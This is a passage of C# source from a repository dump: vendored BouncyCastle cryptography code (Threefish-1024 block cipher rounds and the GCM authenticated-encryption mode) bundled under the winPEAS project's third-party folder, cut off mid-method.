b0); b0 -= b3; b1 = XorRotr(b1, ROTATION_0_0, b0); b0 -= b1; b3 = XorRotr(b3, ROTATION_0_1, b2); b2 -= b3; b5 = XorRotr(b5, ROTATION_0_2, b4); b4 -= b5; b7 = XorRotr(b7, ROTATION_0_3, b6); b6 -= b7; } /* * First subkey uninjection. */ b0 -= kw[0]; b1 -= kw[1]; b2 -= kw[2]; b3 -= kw[3]; b4 -= kw[4]; b5 -= kw[5] + t[0]; b6 -= kw[6] + t[1]; b7 -= kw[7]; /* * Output cipher state. */ state[0] = b0; state[1] = b1; state[2] = b2; state[3] = b3; state[4] = b4; state[5] = b5; state[6] = b6; state[7] = b7; } } private sealed class Threefish1024Cipher : ThreefishCipher { /** * Mix rotation constants defined in Skein 1.3 specification */ private const int ROTATION_0_0 = 24, ROTATION_0_1 = 13, ROTATION_0_2 = 8, ROTATION_0_3 = 47; private const int ROTATION_0_4 = 8, ROTATION_0_5 = 17, ROTATION_0_6 = 22, ROTATION_0_7 = 37; private const int ROTATION_1_0 = 38, ROTATION_1_1 = 19, ROTATION_1_2 = 10, ROTATION_1_3 = 55; private const int ROTATION_1_4 = 49, ROTATION_1_5 = 18, ROTATION_1_6 = 23, ROTATION_1_7 = 52; private const int ROTATION_2_0 = 33, ROTATION_2_1 = 4, ROTATION_2_2 = 51, ROTATION_2_3 = 13; private const int ROTATION_2_4 = 34, ROTATION_2_5 = 41, ROTATION_2_6 = 59, ROTATION_2_7 = 17; private const int ROTATION_3_0 = 5, ROTATION_3_1 = 20, ROTATION_3_2 = 48, ROTATION_3_3 = 41; private const int ROTATION_3_4 = 47, ROTATION_3_5 = 28, ROTATION_3_6 = 16, ROTATION_3_7 = 25; private const int ROTATION_4_0 = 41, ROTATION_4_1 = 9, ROTATION_4_2 = 37, ROTATION_4_3 = 31; private const int ROTATION_4_4 = 12, ROTATION_4_5 = 47, ROTATION_4_6 = 44, ROTATION_4_7 = 30; private const int ROTATION_5_0 = 16, ROTATION_5_1 = 34, ROTATION_5_2 = 56, ROTATION_5_3 = 51; private const int ROTATION_5_4 = 4, ROTATION_5_5 = 53, ROTATION_5_6 = 42, ROTATION_5_7 = 41; private const int ROTATION_6_0 = 31, ROTATION_6_1 = 44, ROTATION_6_2 = 47, ROTATION_6_3 = 46; private const int ROTATION_6_4 = 19, ROTATION_6_5 = 42, ROTATION_6_6 = 44, ROTATION_6_7 = 25; private const int ROTATION_7_0 = 9, ROTATION_7_1 = 48, ROTATION_7_2 = 35, ROTATION_7_3 = 52; private const int ROTATION_7_4 = 23, ROTATION_7_5 = 31, ROTATION_7_6 = 37, ROTATION_7_7 = 20; public Threefish1024Cipher(ulong[] kw, ulong[] t) : base(kw, t) { } internal override void EncryptBlock(ulong[] block, ulong[] outWords) { ulong[] kw = this.kw; ulong[] t = this.t; int[] mod17 = MOD17; int[] mod3 = MOD3; /* Help the JIT avoid index bounds checks */ if (kw.Length != 33) { throw new ArgumentException(); } if (t.Length != 5) { throw new ArgumentException(); } /* * Read 16 words of plaintext data, not using arrays for cipher state */ ulong b0 = block[0]; ulong b1 = block[1]; ulong b2 = block[2]; ulong b3 = block[3]; ulong b4 = block[4]; ulong b5 = block[5]; ulong b6 = block[6]; ulong b7 = block[7]; ulong b8 = block[8]; ulong b9 = block[9]; ulong b10 = block[10]; ulong b11 = block[11]; ulong b12 = block[12]; ulong b13 = block[13]; ulong b14 = block[14]; ulong b15 = block[15]; /* * First subkey injection. */ b0 += kw[0]; b1 += kw[1]; b2 += kw[2]; b3 += kw[3]; b4 += kw[4]; b5 += kw[5]; b6 += kw[6]; b7 += kw[7]; b8 += kw[8]; b9 += kw[9]; b10 += kw[10]; b11 += kw[11]; b12 += kw[12]; b13 += kw[13] + t[0]; b14 += kw[14] + t[1]; b15 += kw[15]; /* * Rounds loop, unrolled to 8 rounds per iteration. * * Unrolling to multiples of 4 avoids the mod 4 check for key injection, and allows * inlining of the permutations, which cycle every of 4 rounds (avoiding array * index/lookup). * * Unrolling to multiples of 8 avoids the mod 8 rotation constant lookup, and allows * inlining constant rotation values (avoiding array index/lookup). */ for (int d = 1; d < (ROUNDS_1024 / 4); d += 2) { int dm17 = mod17[d]; int dm3 = mod3[d]; /* * 4 rounds of mix and permute. * * Permute schedule has a 4 round cycle, so permutes are inlined in the mix * operations in each 4 round block. */ b1 = RotlXor(b1, ROTATION_0_0, b0 += b1); b3 = RotlXor(b3, ROTATION_0_1, b2 += b3); b5 = RotlXor(b5, ROTATION_0_2, b4 += b5); b7 = RotlXor(b7, ROTATION_0_3, b6 += b7); b9 = RotlXor(b9, ROTATION_0_4, b8 += b9); b11 = RotlXor(b11, ROTATION_0_5, b10 += b11); b13 = RotlXor(b13, ROTATION_0_6, b12 += b13); b15 = RotlXor(b15, ROTATION_0_7, b14 += b15); b9 = RotlXor(b9, ROTATION_1_0, b0 += b9); b13 = RotlXor(b13, ROTATION_1_1, b2 += b13); b11 = RotlXor(b11, ROTATION_1_2, b6 += b11); b15 = RotlXor(b15, ROTATION_1_3, b4 += b15); b7 = RotlXor(b7, ROTATION_1_4, b10 += b7); b3 = RotlXor(b3, ROTATION_1_5, b12 += b3); b5 = RotlXor(b5, ROTATION_1_6, b14 += b5); b1 = RotlXor(b1, ROTATION_1_7, b8 += b1); b7 = RotlXor(b7, ROTATION_2_0, b0 += b7); b5 = RotlXor(b5, ROTATION_2_1, b2 += b5); b3 = RotlXor(b3, ROTATION_2_2, b4 += b3); b1 = RotlXor(b1, ROTATION_2_3, b6 += b1); b15 = RotlXor(b15, ROTATION_2_4, b12 += b15); b13 = RotlXor(b13, ROTATION_2_5, b14 += b13); b11 = RotlXor(b11, ROTATION_2_6, b8 += b11); b9 = RotlXor(b9, ROTATION_2_7, b10 += b9); b15 = RotlXor(b15, ROTATION_3_0, b0 += b15); b11 = RotlXor(b11, ROTATION_3_1, b2 += b11); b13 = RotlXor(b13, ROTATION_3_2, b6 += b13); b9 = RotlXor(b9, ROTATION_3_3, b4 += b9); b1 = RotlXor(b1, ROTATION_3_4, b14 += b1); b5 = RotlXor(b5, ROTATION_3_5, b8 += b5); b3 = RotlXor(b3, ROTATION_3_6, b10 += b3); b7 = RotlXor(b7, ROTATION_3_7, b12 += b7); /* * Subkey injection for first 4 rounds. */ b0 += kw[dm17]; b1 += kw[dm17 + 1]; b2 += kw[dm17 + 2]; b3 += kw[dm17 + 3]; b4 += kw[dm17 + 4]; b5 += kw[dm17 + 5]; b6 += kw[dm17 + 6]; b7 += kw[dm17 + 7]; b8 += kw[dm17 + 8]; b9 += kw[dm17 + 9]; b10 += kw[dm17 + 10]; b11 += kw[dm17 + 11]; b12 += kw[dm17 + 12]; b13 += kw[dm17 + 13] + t[dm3]; b14 += kw[dm17 + 14] + t[dm3 + 1]; b15 += kw[dm17 + 15] + (uint)d; /* * 4 more rounds of mix/permute */ b1 = RotlXor(b1, ROTATION_4_0, b0 += b1); b3 = RotlXor(b3, ROTATION_4_1, b2 += b3); b5 = RotlXor(b5, ROTATION_4_2, b4 += b5); b7 = RotlXor(b7, ROTATION_4_3, b6 += b7); b9 = RotlXor(b9, ROTATION_4_4, b8 += b9); b11 = RotlXor(b11, ROTATION_4_5, b10 += b11); b13 = RotlXor(b13, ROTATION_4_6, b12 += b13); b15 = RotlXor(b15, ROTATION_4_7, b14 += b15); b9 = RotlXor(b9, ROTATION_5_0, b0 += b9); b13 = RotlXor(b13, ROTATION_5_1, b2 += b13); b11 = RotlXor(b11, ROTATION_5_2, b6 += b11); b15 = RotlXor(b15, ROTATION_5_3, b4 += b15); b7 = RotlXor(b7, ROTATION_5_4, b10 += b7); b3 = RotlXor(b3, ROTATION_5_5, b12 += b3); b5 = RotlXor(b5, ROTATION_5_6, b14 += b5); b1 = RotlXor(b1, ROTATION_5_7, b8 += b1); b7 = RotlXor(b7, ROTATION_6_0, b0 += b7); b5 = RotlXor(b5, ROTATION_6_1, b2 += b5); b3 = RotlXor(b3, ROTATION_6_2, b4 += b3); b1 = RotlXor(b1, ROTATION_6_3, b6 += b1); b15 = RotlXor(b15, ROTATION_6_4, b12 += b15); b13 = RotlXor(b13, ROTATION_6_5, b14 += b13); b11 = RotlXor(b11, ROTATION_6_6, b8 += b11); b9 = RotlXor(b9, ROTATION_6_7, b10 += b9); b15 = RotlXor(b15, ROTATION_7_0, b0 += b15); b11 = RotlXor(b11, ROTATION_7_1, b2 += b11); b13 = RotlXor(b13, ROTATION_7_2, b6 += b13); b9 = RotlXor(b9, ROTATION_7_3, b4 += b9); b1 = RotlXor(b1, ROTATION_7_4, b14 += b1); b5 = RotlXor(b5, ROTATION_7_5, b8 += b5); b3 = RotlXor(b3, ROTATION_7_6, b10 += b3); b7 = RotlXor(b7, ROTATION_7_7, b12 += b7); /* * Subkey injection for next 4 rounds. */ b0 += kw[dm17 + 1]; b1 += kw[dm17 + 2]; b2 += kw[dm17 + 3]; b3 += kw[dm17 + 4]; b4 += kw[dm17 + 5]; b5 += kw[dm17 + 6]; b6 += kw[dm17 + 7]; b7 += kw[dm17 + 8]; b8 += kw[dm17 + 9]; b9 += kw[dm17 + 10]; b10 += kw[dm17 + 11]; b11 += kw[dm17 + 12]; b12 += kw[dm17 + 13]; b13 += kw[dm17 + 14] + t[dm3 + 1]; b14 += kw[dm17 + 15] + t[dm3 + 2]; b15 += kw[dm17 + 16] + (uint)d + 1; } /* * Output cipher state. */ outWords[0] = b0; outWords[1] = b1; outWords[2] = b2; outWords[3] = b3; outWords[4] = b4; outWords[5] = b5; outWords[6] = b6; outWords[7] = b7; outWords[8] = b8; outWords[9] = b9; outWords[10] = b10; outWords[11] = b11; outWords[12] = b12; outWords[13] = b13; outWords[14] = b14; outWords[15] = b15; } internal override void DecryptBlock(ulong[] block, ulong[] state) { ulong[] kw = this.kw; ulong[] t = this.t; int[] mod17 = MOD17; int[] mod3 = MOD3; /* Help the JIT avoid index bounds checks */ if (kw.Length != 33) { throw new ArgumentException(); } if (t.Length != 5) { throw new ArgumentException(); } ulong b0 = block[0]; ulong b1 = block[1]; ulong b2 = block[2]; ulong b3 = block[3]; ulong b4 = block[4]; ulong b5 = block[5]; ulong b6 = block[6]; ulong b7 = block[7]; ulong b8 = block[8]; ulong b9 = block[9]; ulong b10 = block[10]; ulong b11 = block[11]; ulong b12 = block[12]; ulong b13 = block[13]; ulong b14 = block[14]; ulong b15 = block[15]; for (int d = (ROUNDS_1024 / 4) - 1; d >= 1; d -= 2) { int dm17 = mod17[d]; int dm3 = mod3[d]; /* Reverse key injection for second 4 rounds */ b0 -= kw[dm17 + 1]; b1 -= kw[dm17 + 2]; b2 -= kw[dm17 + 3]; b3 -= kw[dm17 + 4]; b4 -= kw[dm17 + 5]; b5 -= kw[dm17 + 6]; b6 -= kw[dm17 + 7]; b7 -= kw[dm17 + 8]; b8 -= kw[dm17 + 9]; b9 -= kw[dm17 + 10]; b10 -= kw[dm17 + 11]; b11 -= kw[dm17 + 12]; b12 -= kw[dm17 + 13]; b13 -= kw[dm17 + 14] + t[dm3 + 1]; b14 -= kw[dm17 + 15] + t[dm3 + 2]; b15 -= kw[dm17 + 16] + (uint)d + 1; /* Reverse second 4 mix/permute rounds */ b15 = XorRotr(b15, ROTATION_7_0, b0); b0 -= b15; b11 = XorRotr(b11, ROTATION_7_1, b2); b2 -= b11; b13 = XorRotr(b13, ROTATION_7_2, b6); b6 -= b13; b9 = XorRotr(b9, ROTATION_7_3, b4); b4 -= b9; b1 = XorRotr(b1, ROTATION_7_4, b14); b14 -= b1; b5 = XorRotr(b5, ROTATION_7_5, b8); b8 -= b5; b3 = XorRotr(b3, ROTATION_7_6, b10); b10 -= b3; b7 = XorRotr(b7, ROTATION_7_7, b12); b12 -= b7; b7 = XorRotr(b7, ROTATION_6_0, b0); b0 -= b7; b5 = XorRotr(b5, ROTATION_6_1, b2); b2 -= b5; b3 = XorRotr(b3, ROTATION_6_2, b4); b4 -= b3; b1 = XorRotr(b1, ROTATION_6_3, b6); b6 -= b1; b15 = XorRotr(b15, ROTATION_6_4, b12); b12 -= b15; b13 = XorRotr(b13, ROTATION_6_5, b14); b14 -= b13; b11 = XorRotr(b11, ROTATION_6_6, b8); b8 -= b11; b9 = XorRotr(b9, ROTATION_6_7, b10); b10 -= b9; b9 = XorRotr(b9, ROTATION_5_0, b0); b0 -= b9; b13 = XorRotr(b13, ROTATION_5_1, b2); b2 -= b13; b11 = XorRotr(b11, ROTATION_5_2, b6); b6 -= b11; b15 = XorRotr(b15, ROTATION_5_3, b4); b4 -= b15; b7 = XorRotr(b7, ROTATION_5_4, b10); b10 -= b7; b3 = XorRotr(b3, ROTATION_5_5, b12); b12 -= b3; b5 = XorRotr(b5, ROTATION_5_6, b14); b14 -= b5; b1 = XorRotr(b1, ROTATION_5_7, b8); b8 -= b1; b1 = XorRotr(b1, ROTATION_4_0, b0); b0 -= b1; b3 = XorRotr(b3, ROTATION_4_1, b2); b2 -= b3; b5 = XorRotr(b5, ROTATION_4_2, b4); b4 -= b5; b7 = XorRotr(b7, ROTATION_4_3, b6); b6 -= b7; b9 = XorRotr(b9, ROTATION_4_4, b8); b8 -= b9; b11 = XorRotr(b11, ROTATION_4_5, b10); b10 -= b11; b13 = XorRotr(b13, ROTATION_4_6, b12); b12 -= b13; b15 = XorRotr(b15, ROTATION_4_7, b14); b14 -= b15; /* Reverse key injection for first 4 rounds */ b0 -= kw[dm17]; b1 -= kw[dm17 + 1]; b2 -= kw[dm17 + 2]; b3 -= kw[dm17 + 3]; b4 -= kw[dm17 + 4]; b5 -= kw[dm17 + 5]; b6 -= kw[dm17 + 6]; b7 -= kw[dm17 + 7]; b8 -= kw[dm17 + 8]; b9 -= kw[dm17 + 9]; b10 -= kw[dm17 + 10]; b11 -= kw[dm17 + 11]; b12 -= kw[dm17 + 12]; b13 -= kw[dm17 + 13] + t[dm3]; b14 -= kw[dm17 + 14] + t[dm3 + 1]; b15 -= kw[dm17 + 15] + (uint)d; /* Reverse first 4 mix/permute rounds */ b15 = XorRotr(b15, ROTATION_3_0, b0); b0 -= b15; b11 = XorRotr(b11, ROTATION_3_1, b2); b2 -= b11; b13 = XorRotr(b13, ROTATION_3_2, b6); b6 -= b13; b9 = XorRotr(b9, ROTATION_3_3, b4); b4 -= b9; b1 = XorRotr(b1, ROTATION_3_4, b14); b14 -= b1; b5 = XorRotr(b5, ROTATION_3_5, b8); b8 -= b5; b3 = XorRotr(b3, ROTATION_3_6, b10); b10 -= b3; b7 = XorRotr(b7, ROTATION_3_7, b12); b12 -= b7; b7 = XorRotr(b7, ROTATION_2_0, b0); b0 -= b7; b5 = XorRotr(b5, ROTATION_2_1, b2); b2 -= b5; b3 = XorRotr(b3, ROTATION_2_2, b4); b4 -= b3; b1 = XorRotr(b1, ROTATION_2_3, b6); b6 -= b1; b15 = XorRotr(b15, ROTATION_2_4, b12); b12 -= b15; b13 = XorRotr(b13, ROTATION_2_5, b14); b14 -= b13; b11 = XorRotr(b11, ROTATION_2_6, b8); b8 -= b11; b9 = XorRotr(b9, ROTATION_2_7, b10); b10 -= b9; b9 = XorRotr(b9, ROTATION_1_0, b0); b0 -= b9; b13 = XorRotr(b13, ROTATION_1_1, b2); b2 -= b13; b11 = XorRotr(b11, ROTATION_1_2, b6); b6 -= b11; b15 = XorRotr(b15, ROTATION_1_3, b4); b4 -= b15; b7 = XorRotr(b7, ROTATION_1_4, b10); b10 -= b7; b3 = XorRotr(b3, ROTATION_1_5, b12); b12 -= b3; b5 = XorRotr(b5, ROTATION_1_6, b14); b14 -= b5; b1 = XorRotr(b1, ROTATION_1_7, b8); b8 -= b1; b1 = XorRotr(b1, ROTATION_0_0, b0); b0 -= b1; b3 = XorRotr(b3, ROTATION_0_1, b2); b2 -= b3; b5 = XorRotr(b5, ROTATION_0_2, b4); b4 -= b5; b7 = XorRotr(b7, ROTATION_0_3, b6); b6 -= b7; b9 = XorRotr(b9, ROTATION_0_4, b8); b8 -= b9; b11 = XorRotr(b11, ROTATION_0_5, b10); b10 -= b11; b13 = XorRotr(b13, ROTATION_0_6, b12); b12 -= b13; b15 = XorRotr(b15, ROTATION_0_7, b14); b14 -= b15; } /* * First subkey uninjection. */ b0 -= kw[0]; b1 -= kw[1]; b2 -= kw[2]; b3 -= kw[3]; b4 -= kw[4]; b5 -= kw[5]; b6 -= kw[6]; b7 -= kw[7]; b8 -= kw[8]; b9 -= kw[9]; b10 -= kw[10]; b11 -= kw[11]; b12 -= kw[12]; b13 -= kw[13] + t[0]; b14 -= kw[14] + t[1]; b15 -= kw[15]; /* * Output cipher state. */ state[0] = b0; state[1] = b1; state[2] = b2; state[3] = b3; state[4] = b4; state[5] = b5; state[6] = b6; state[7] = b7; state[8] = b8; state[9] = b9; state[10] = b10; state[11] = b11; state[12] = b12; state[13] = b13; state[14] = b14; state[15] = b15; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/modes/GcmBlockCipher.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.modes.gcm; using winPEAS._3rdParty.BouncyCastle.crypto.parameters; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.modes { /// /// Implements the Galois/Counter mode (GCM) detailed in /// NIST Special Publication 800-38D. /// public class GcmBlockCipher : IAeadBlockCipher { private const int BlockSize = 16; private readonly IBlockCipher cipher; private readonly IGcmMultiplier multiplier; private IGcmExponentiator exp; // These fields are set by Init and not modified by processing private bool forEncryption; private bool initialised; private int macSize; private byte[] lastKey; private byte[] nonce; private byte[] initialAssociatedText; private byte[] H; private byte[] J0; // These fields are modified during processing private byte[] bufBlock; private byte[] macBlock; private byte[] S, S_at, S_atPre; private byte[] counter; private uint blocksRemaining; private int bufOff; private ulong totalLength; private byte[] atBlock; private int atBlockPos; private ulong atLength; private ulong atLengthPre; public GcmBlockCipher( IBlockCipher c) : this(c, null) { } public GcmBlockCipher( IBlockCipher c, IGcmMultiplier m) { if (c.GetBlockSize() != BlockSize) throw new ArgumentException("cipher required with a block size of " + BlockSize + "."); if (m == null) { m = new Tables4kGcmMultiplier(); } this.cipher = c; this.multiplier = m; } public virtual string AlgorithmName { get { return cipher.AlgorithmName + "/GCM"; } } public IBlockCipher GetUnderlyingCipher() { return cipher; } public virtual int GetBlockSize() { return BlockSize; } /// /// MAC sizes from 32 bits to 128 bits (must be a multiple of 8) are supported. The default is 128 bits. /// Sizes less than 96 are not recommended, but are supported for specialized applications. /// public virtual void Init( bool forEncryption, ICipherParameters parameters) { this.forEncryption = forEncryption; this.macBlock = null; this.initialised = true; KeyParameter keyParam; byte[] newNonce = null; if (parameters is AeadParameters) { AeadParameters param = (AeadParameters)parameters; newNonce = param.GetNonce(); initialAssociatedText = param.GetAssociatedText(); int macSizeBits = param.MacSize; if (macSizeBits < 32 || macSizeBits > 128 || macSizeBits % 8 != 0) { throw new ArgumentException("Invalid value for MAC size: " + macSizeBits); } macSize = macSizeBits / 8; keyParam = param.Key; } else if (parameters is ParametersWithIV) { ParametersWithIV param = (ParametersWithIV)parameters; newNonce = param.GetIV(); initialAssociatedText = null; macSize = 16; keyParam = (KeyParameter)param.Parameters; } else { throw new ArgumentException("invalid parameters passed to GCM"); } int bufLength = forEncryption ? BlockSize : (BlockSize + macSize); this.bufBlock = new byte[bufLength]; if (newNonce == null || newNonce.Length < 1) { throw new ArgumentException("IV must be at least 1 byte"); } if (forEncryption) { if (nonce != null && Arrays.AreEqual(nonce, newNonce)) { if (keyParam == null) { throw new ArgumentException("cannot reuse nonce for GCM encryption"); } if (lastKey != null && Arrays.AreEqual(lastKey, keyParam.GetKey())) { throw new ArgumentException("cannot reuse nonce for GCM encryption"); } } } nonce = newNonce; if (keyParam != null) { lastKey = keyParam.GetKey(); } // TODO Restrict macSize to 16 if nonce length not 12? // Cipher always used in forward mode // if keyParam is null we're reusing the last key. if (keyParam != null) { cipher.Init(true, keyParam); this.H = new byte[BlockSize]; cipher.ProcessBlock(H, 0, H, 0); // if keyParam is null we're reusing the last key and the multiplier doesn't need re-init multiplier.Init(H); exp = null; } else if (this.H == null) { throw new ArgumentException("Key must be specified in initial init"); } this.J0 = new byte[BlockSize]; if (nonce.Length == 12) { Array.Copy(nonce, 0, J0, 0, nonce.Length); this.J0[BlockSize - 1] = 0x01; } else { gHASH(J0, nonce, nonce.Length); byte[] X = new byte[BlockSize]; Pack.UInt64_To_BE((ulong)nonce.Length * 8UL, X, 8); gHASHBlock(J0, X); } this.S = new byte[BlockSize]; this.S_at = new byte[BlockSize]; this.S_atPre = new byte[BlockSize]; this.atBlock = new byte[BlockSize]; this.atBlockPos = 0; this.atLength = 0; this.atLengthPre = 0; this.counter = Arrays.Clone(J0); this.blocksRemaining = uint.MaxValue - 1; // page 8, len(P) <= 2^39 - 256, 1 block used by tag this.bufOff = 0; this.totalLength = 0; if (initialAssociatedText != null) { ProcessAadBytes(initialAssociatedText, 0, initialAssociatedText.Length); } } public virtual byte[] GetMac() { return macBlock == null ? new byte[macSize] : Arrays.Clone(macBlock); } public virtual int GetOutputSize( int len) { int totalData = len + bufOff; if (forEncryption) { return totalData + macSize; } return totalData < macSize ? 0 : totalData - macSize; } public virtual int GetUpdateOutputSize( int len) { int totalData = len + bufOff; if (!forEncryption) { if (totalData < macSize) { return 0; } totalData -= macSize; } return totalData - totalData % BlockSize; } public virtual void ProcessAadByte(byte input) { CheckStatus(); atBlock[atBlockPos] = input; if (++atBlockPos == BlockSize) { // Hash each block as it fills gHASHBlock(S_at, atBlock); atBlockPos = 0; atLength += BlockSize; } } public virtual void ProcessAadBytes(byte[] inBytes, int inOff, int len) { CheckStatus(); for (int i = 0; i < len; ++i) { atBlock[atBlockPos] = inBytes[inOff + i]; if (++atBlockPos == BlockSize) { // Hash each block as it fills gHASHBlock(S_at, atBlock); atBlockPos = 0; atLength += BlockSize; } } } private void InitCipher() { if (atLength > 0) { Array.Copy(S_at, 0, S_atPre, 0, BlockSize); atLengthPre = atLength; } // Finish hash for partial AAD block if (atBlockPos > 0) { gHASHPartial(S_atPre, atBlock, 0, atBlockPos); atLengthPre += (uint)atBlockPos; } if (atLengthPre > 0) { Array.Copy(S_atPre, 0, S, 0, BlockSize); } } public virtual int ProcessByte( byte input, byte[] output, int outOff) { CheckStatus(); bufBlock[bufOff] = input; if (++bufOff == bufBlock.Length) { ProcessBlock(bufBlock, 0, output, outOff); if (forEncryption) { bufOff = 0; } else { Array.Copy(bufBlock, BlockSize, bufBlock, 0, macSize); bufOff = macSize; } return BlockSize; } return 0; } public virtual int ProcessBytes( byte[] input, int inOff, int len, byte[] output, int outOff) { CheckStatus(); Check.DataLength(input, inOff, len, "input buffer too short"); int resultLen = 0; if (forEncryption) { if (bufOff != 0) { while (len > 0) { --len; bufBlock[bufOff] = input[inOff++]; if (++bufOff == BlockSize) { ProcessBlock(bufBlock, 0, output, outOff); bufOff = 0; resultLen += BlockSize; break; } } } while (len >= BlockSize) { ProcessBlock(input, inOff, output, outOff + resultLen); inOff += BlockSize; len -= BlockSize; resultLen += BlockSize; } if (len > 0) { Array.Copy(input, inOff, bufBlock, 0, len); bufOff = len; } } else { for (int i = 0; i < len; ++i) { bufBlock[bufOff] = input[inOff + i]; if (++bufOff == bufBlock.Length) { ProcessBlock(bufBlock, 0, output, outOff + resultLen); Array.Copy(bufBlock, BlockSize, bufBlock, 0, macSize); bufOff = macSize; resultLen += BlockSize; } } } return resultLen; } public int DoFinal(byte[] output, int outOff) { CheckStatus(); if (totalLength == 0) { InitCipher(); } int extra = bufOff; if (forEncryption) { Check.OutputLength(output, outOff, extra + macSize, "Output buffer too short"); } else { if (extra < macSize) throw new InvalidCipherTextException("data too short"); extra -= macSize; Check.OutputLength(output, outOff, extra, "Output buffer too short"); } if (extra > 0) { ProcessPartial(bufBlock, 0, extra, output, outOff); } atLength += (uint)atBlockPos; if (atLength > atLengthPre) { /* * Some AAD was sent after the cipher started. We determine the difference b/w the hash value * we actually used when the cipher started (S_atPre) and the final hash value calculated (S_at). * Then we carry this difference forward by multiplying by H^c, where c is the number of (full or * partial) cipher-text blocks produced, and adjust the current hash. */ // Finish hash for partial AAD block if (atBlockPos > 0) { gHASHPartial(S_at, atBlock, 0, atBlockPos); } // Find the difference between the AAD hashes if (atLengthPre > 0) { GcmUtilities.Xor(S_at, S_atPre); } // Number of cipher-text blocks produced long c = (long)(((totalLength * 8) + 127) >> 7); // Calculate the adjustment factor byte[] H_c = new byte[16]; if (exp == null) { exp = new BasicGcmExponentiator(); exp.Init(H); } exp.ExponentiateX(c, H_c); // Carry the difference forward GcmUtilities.Multiply(S_at, H_c); // Adjust the current hash GcmUtilities.Xor(S, S_at); } // Final gHASH byte[] X = new byte[BlockSize]; Pack.UInt64_To_BE(atLength * 8UL, X, 0); Pack.UInt64_To_BE(totalLength * 8UL, X, 8); gHASHBlock(S, X); // T = MSBt(GCTRk(J0,S)) byte[] tag = new byte[BlockSize]; cipher.ProcessBlock(J0, 0, tag, 0); GcmUtilities.Xor(tag, S); int resultLen = extra; // We place into macBlock our calculated value for T this.macBlock = new byte[macSize]; Array.Copy(tag, 0, macBlock, 0, macSize); if (forEncryption) { // Append T to the message Array.Copy(macBlock, 0, output, outOff + bufOff, macSize); resultLen += macSize; } else { // Retrieve the T value from the message and compare to calculated one byte[] msgMac = new byte[macSize]; Array.Copy(bufBlock, extra, msgMac, 0, macSize); if (!Arrays.ConstantTimeAreEqual(this.macBlock, msgMac)) throw new InvalidCipherTextException("mac check in GCM failed"); } Reset(false); return resultLen; } public virtual void Reset() { Reset(true); } private void Reset( bool clearMac) { cipher.Reset(); // note: we do not reset the nonce. S = new byte[BlockSize]; S_at = new byte[BlockSize]; S_atPre = new byte[BlockSize]; atBlock = new byte[BlockSize]; atBlockPos = 0; atLength = 0; atLengthPre = 0; counter = Arrays.Clone(J0); blocksRemaining = uint.MaxValue - 1; bufOff = 0; totalLength = 0; if (bufBlock != null) { Arrays.Fill(bufBlock, 0); } if (clearMac) { macBlock = null; } if (forEncryption) { initialised = false; } else { if (initialAssociatedText != null) { ProcessAadBytes(initialAssociatedText, 0, initialAssociatedText.Length); } } } private void ProcessBlock(byte[] buf, int bufOff, byte[] output, int outOff) { Check.OutputLength(output, outOff, BlockSize, "Output buffer too short"); if (totalLength == 0) { InitCipher(); } byte[] ctrBlock = new byte[BlockSize]; GetNextCtrBlock(ctrBlock); if (forEncryption) { GcmUtilities.Xor(ctrBlock, buf, bufOff); gHASHBlock(S, ctrBlock); Array.Copy(ctrBlock, 0, output, outOff, BlockSize); } else { gHASHBlock(S, buf, bufOff); GcmUtilities.Xor(ctrBlock, 0, buf, bufOff, output, outOff); } totalLength += BlockSize; } private void ProcessPartial(byte[] buf, int off, int len, byte[] output, int outOff) { byte[] ctrBlock = new byte[BlockSize]; GetNextCtrBlock(ctrBlock); if (forEncryption) { GcmUtilities.Xor(buf, off, ctrBlock, 0, len); gHASHPartial(S, buf, off, len); } else { gHASHPartial(S, buf, off, len); GcmUtilities.Xor(buf, off, ctrBlock, 0, len); } Array.Copy(buf, off, output, outOff, len); totalLength += (uint)len; } private void gHASH(byte[] Y, byte[] b, int len) { for (int pos = 0; pos < len; pos += BlockSize) { int num = System.Math.Min(len - pos, BlockSize); gHASHPartial(Y, b, pos, num); } } private void gHASHBlock(byte[] Y, byte[] b) { GcmUtilities.Xor(Y, b); multiplier.MultiplyH(Y); } private void gHASHBlock(byte[] Y, byte[] b, int off) { GcmUtilities.Xor(Y, b, off); multiplier.MultiplyH(Y); } private void gHASHPartial(byte[] Y, byte[] b, int off, int len) { GcmUtilities.Xor(Y, b, off, len); multiplier.MultiplyH(Y); } private void GetNextCtrBlock(byte[] block) { if (blocksRemaining == 0) throw new InvalidOperationException("Attempt to process too many blocks"); blocksRemaining--; uint c = 1; c += counter[15]; counter[15] = (byte)c; c >>= 8; c += counter[14]; counter[14] = (byte)c; c >>= 8; c += counter[13]; counter[13] = (byte)c; c >>= 8; c += counter[12]; counter[12] = (byte)c; cipher.ProcessBlock(counter, 0, block, 0); } private void CheckStatus() { if (!initialised) { if (forEncryption) { throw new InvalidOperationException("GCM cipher cannot be reused for encryption"); } throw new InvalidOperationException("GCM cipher needs to be initialised"); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/modes/GcmUtilities.cs ================================================ using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.math.raw; namespace winPEAS._3rdParty.BouncyCastle.crypto.modes { internal abstract class GcmUtilities { private const uint E1 = 0xe1000000; private const ulong E1UL = (ulong)E1 << 32; internal static byte[] OneAsBytes() { byte[] tmp = new byte[16]; tmp[0] = 0x80; return tmp; } internal static uint[] OneAsUints() { uint[] tmp = new uint[4]; tmp[0] = 0x80000000; return tmp; } internal static ulong[] OneAsUlongs() { ulong[] tmp = new ulong[2]; tmp[0] = 1UL << 63; return tmp; } internal static byte[] AsBytes(uint[] x) { return Pack.UInt32_To_BE(x); } internal static void AsBytes(uint[] x, byte[] z) { Pack.UInt32_To_BE(x, z, 0); } internal static byte[] AsBytes(ulong[] x) { byte[] z = new byte[16]; Pack.UInt64_To_BE(x, z, 0); return z; } internal static void AsBytes(ulong[] x, byte[] z) { Pack.UInt64_To_BE(x, z, 0); } internal static uint[] AsUints(byte[] bs) { uint[] output = new uint[4]; Pack.BE_To_UInt32(bs, 0, output); return output; } internal static void AsUints(byte[] bs, uint[] output) { Pack.BE_To_UInt32(bs, 0, output); } internal static ulong[] AsUlongs(byte[] x) { ulong[] z = new ulong[2]; Pack.BE_To_UInt64(x, 0, z); return z; } internal static void AsUlongs(byte[] x, ulong[] z) { 